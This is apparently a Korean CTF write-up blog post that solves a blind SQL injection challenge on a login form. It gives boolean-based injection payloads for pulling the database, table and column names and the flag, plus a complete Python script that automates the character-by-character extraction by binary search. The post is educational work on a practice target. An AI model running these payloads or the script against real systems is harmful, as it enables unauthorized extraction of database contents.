Almon Dev

ctf 풀이 (SQL Injection 6) 본문

모의해킹/모의해킹

ctf 풀이 (SQL Injection 6)

Almon 2024. 12. 2. 15:44

ctf 문제 풀이

 

 

SQL Injection 6

 

 

풀이

SQL Injection 5와 php로직과 sql문 자체는 같지만 에러가 출력되지 않는 경우입니다.

Blind Sql Injection을 사용해 보겠습니다.

 

1> SQLI 포인트 찾기

normaltic' and ('1' = '1') and '1' = '1 , normaltic' and ('1' = '2') and '1' = '1을 이용해서 참과 거짓의 응답을 확인합니다.

=> 결과가 참 : 302 리다이렉트

=> 결과가 거짓 : 200 OK

 

 

2> Select가 가능한지 확인 (필터링 X)

normaltic' and ((select 1) = 1) and '1' = '1

302 응답이 온 것으로 필터링이 되지 않은 것을 확인합니다.

 

 

3> 공격 format 만들기

기본 format : normaltic' and (조건) and '1'  = '1

substring : (substring((SQL), 1, 1)) => 한 글자씩 확인

ascii : (ascii(substring((SQL), 1, 1)) > 0) => 문자를 ascii 코드의 숫자로 변경

완성 format : normaltic' and ((ascii(substring((SQL), 1, 1)) > 0)) and '1'  = '1

 

 

4> DB명 추출

normaltic' and ((ascii(substring((select database()), [index], 1)) > [ascii])) and '1'  = '1

 

select database() 결과의 글자 index(1부터 시작)와 ascii를 이용해서 하나하나 글자를 찾아갑니다.

 

normaltic' and ((ascii(substring((select database()), 1, 1)) > 80)) and '1'  = '1 => True
normaltic' and ((ascii(substring((select database()), 1, 1)) > 100)) and '1'  = '1 => True
normaltic' and ((ascii(substring((select database()), 1, 1)) > 110)) and '1'  = '1 => True

 

이런 식으로 범위를 좁혀가며 탐색합니다.

=> DB 명 : sqli_3

 

 

5> Table명 추출

normaltic' and ((ascii(substring(( select table_name from information_schema.tables 

where table_schema='sqli_3' limit 0,1 ), 1, 1)) > 80)) and '1'  = '1

 

select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1

=> Table 명 : flag_table, member

 

 

6> Column명 추출

normaltic' and ((ascii(substring((select column_name from information_schema.columns 

where table_schema='sqli_3' and table_name='flag_table' limit 0,1), 1, 1)) > 0)) and '1'  = '1

 

select column_name from information_schema.columns 

where table_schema='sqli_3' and table_name='flag_table' limit 0,1

=> flag_table Column 명 : flag

 

 

7> 데이터 추출

normaltic' and ((ascii(substring((select flag from flag_table limit 0,1), 1, 1)) > 0)) and '1'  = '1

 

select flag from flag_table limit 0,1

 

 


 

풀이 (Python)

0 ~ 127 사이의 숫자에서 하나의 값을 찾을 때 중간점으로 비교해서 범위를 줄여나가는 알고리즘을

이진탐색(Binary Search) 알고리즘이라고 합니다.

 

이진탐색은 보통 재귀함수나 반복문으로 구현할 수 있는데,

저는 반복문을 사용했습니다.

 

import requests

def blind_sqli_request(session, url, sql, index, ascii):
    format = f"normaltic' and (ascii(substring(({sql}), {index}, 1)) > {ascii}) and '1' ='1"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = {
        'UserId' : format,
        'Password' : '1234',
        'Submit' : 'Login',
    }

    proxies = {
        "http": "http://localhost:8080"
    }
        
    # response = session.post(url, data=data, headers=headers, proxies=proxies, allow_redirects=False)
    response = session.post(url, data=data, headers=headers, allow_redirects=False)
    # print(response.status_code)
    return response.status_code

url = input("URL \u1433 ")
method = input("1: POST \n2: GET \nMethod \u1433 ")
session = requests.Session()
result = ""

if method == '1':
    while True:
        sql = input("SQL \u1433 ")
        code = blind_sqli_request(session, url, sql, 1, 0)
        if code == 302:
            index = 1

            while True:
                left = 0
                right = 127
                code = blind_sqli_request(session, url, sql, index, 0)
                if code == 200:
                    result = ""
                    print("\n")
                    break

                while True:
                    mid = (left + right) // 2
                    code = blind_sqli_request(session, url, sql, index, mid)
                    if code == 302:
                        left = mid + 1
                    else:
                        right = mid
                    
                    if left == right:
                        # print('test : ', left, right, mid)
                        index += 1
                        result += chr(right)
                        print(f"\rData : {result}", end="")
                        break
        else:
            print("Fail : ", sql, "\n")
elif method == '2':
    pass

 

 

def blind_sqli_request(session, url, sql, index, ascii):
    format = f"normaltic' and (ascii(substring(({sql}), {index}, 1)) > {ascii}) and '1' ='1"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = {
        'UserId' : format,
        'Password' : '1234',
        'Submit' : 'Login',
    }

    proxies = {
        "http": "http://localhost:8080"
    }
        
    # response = session.post(url, data=data, headers=headers, proxies=proxies, allow_redirects=False)
    response = session.post(url, data=data, headers=headers, allow_redirects=False)
    # print(response.status_code)
    return response.status_code

 

sql, index, ascii를 입력받아 공격 format을 완성한 뒤, 입력받은 url으로 열어둔 session을 이용해서 post 요청을 보냅니다.

응답값의 status_code( ex) 302, 200 )를 리턴합니다.

 

session을 사용하는 이유 :
requests.post를 사용할 수도 있지만 같은 url에 요청이 반복될 때 TCP Handshake가 계속 발생하므로
성능이 느리다고 판단했습니다. requests.Session을 이용하면 처음 요청을 보낼 때 TCP Handshake를 한 뒤로
연결을 끊지 않고 유지하며 계속 데이터를 주고받을 수 있습니다.

TCP Handshake :
데이터를 전송하기 이전에 패킷을 주고받으면서 데이터에 손상이 없는지,
연결이 제대로 되는지를 확인하는 절차입니다.

TCP Handshake 과정 :
1 : 클라이언트가 서버에 SYN 패킷을 보냅니다
2 : 서버가 클라이언트에 SYN-ACK 패킷을 응답합니다
3 : 클라이언트가 ACK 패킷을 서버로 다시 보냅니다.

 

 

url = input("URL \u1433 ")
method = input("1: POST \n2: GET \nMethod \u1433 ")
session = requests.Session()
result = ""

 

url과 method를 입력받고 세션을 만들어둡니다.

sqli의 결과가 담길 result 변수를 빈 문자열로 만들어줍니다.

 

 

if method == '1':
    while True:
        sql = input("SQL \u1433 ")
        code = blind_sqli_request(session, url, sql, 1, 0)

 

method가 post이면 sql을 입력받는 무한 루프를 합니다.

sql을 입력받은 뒤에는 sql 결과의 첫 번째 글자의 ascii가 0보다 큰지를 확인해서

결과가 존재하는지 검사합니다.

 

 

        if code == 302:
            index = 1

            while True:
                left = 0
                right = 127
                ~~~~~~
                ~~~~~~
        else:
            print("Fail : ", sql, "\n")

 

결과가 존재한다면 index를 1로 설정하고 다시 무한 루프로 들어갑니다. => index 루프

left와 right는 ascii의 범위를 뜻합니다. 0~ 127 사이의 값이라는 의미입니다.

 

결과가 존재하지 않을 때는 실패 메시지를 출력하고 다시 sql문을 입력받습니다.

 

 

                code = blind_sqli_request(session, url, sql, index, 0)
                if code == 200:
                    result = ""
                    print("\n")
                    break

 

sql의 결괏값의 index번째 문자가 0보다 큰지 확인하고 응답코드가 200이면 루프를 종료합니다.

=> 마지막 글자까지 출력을 끝냈을 때

 

 

                while True:
                    mid = (left + right) // 2
                    code = blind_sqli_request(session, url, sql, index, mid)
                    if code == 302:
                        left = mid + 1
                    else:
                        right = mid
                    
                    if left == right:
                        # print('test : ', left, right, mid)
                        index += 1
                        result += chr(right)
                        print(f"\rData : {result}", end="")
                        break

 

다시 무한루프로 들어갑니다 => lef, right를 바꿔가며 index의 글자를 찾는 루프

 

                    mid = (left + right) // 2
                    code = blind_sqli_request(session, url, sql, index, mid)

 

mid는 left와 right의 중간값으로 설정하고 ascii에 대입하여 글자의 범위를 검사합니다.

 

 

                    if code == 302:
                        left = mid + 1
                    else:
                        right = mid

 

code가 302인 경우 mid보다 큰 값이라는 의미이므로 left + 1을 mid로 변경합니다.

302가 아닌 경우 mid보다 크지 않다는 의미이므로 right를 mid로 변경합니다.

 

 

                    if left == right:
                        # print('test : ', left, right, mid)
                        index += 1
                        result += chr(right)
                        print(f"\rData : {result}", end="")
                        break

 

left와 right가 같아졌을 때 => 결과를 찾았을 때

 

index를 1을 더해서 다음 글자를 찾도록 설정하고,

결과를 담는 변수인 result에 ascii 숫자를 문자로 변환해 더해줍니다.

 

result를 출력한 뒤에 break를 이용해서 다음 index를 찾는 루프로 돌아갑니다.

 


 

 

Python 실행 영상

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (SQL Injection Point 1)  (1) 2024.12.10
모의해킹 공부 8주차 (SQL Injection)  (1) 2024.12.06
ctf 풀이 (SQL Injection 5)  (0) 2024.11.30
ctf 풀이 (SQL Injection 4)  (0) 2024.11.30
ctf 풀이 (SQL Injection 3)  (2) 2024.11.29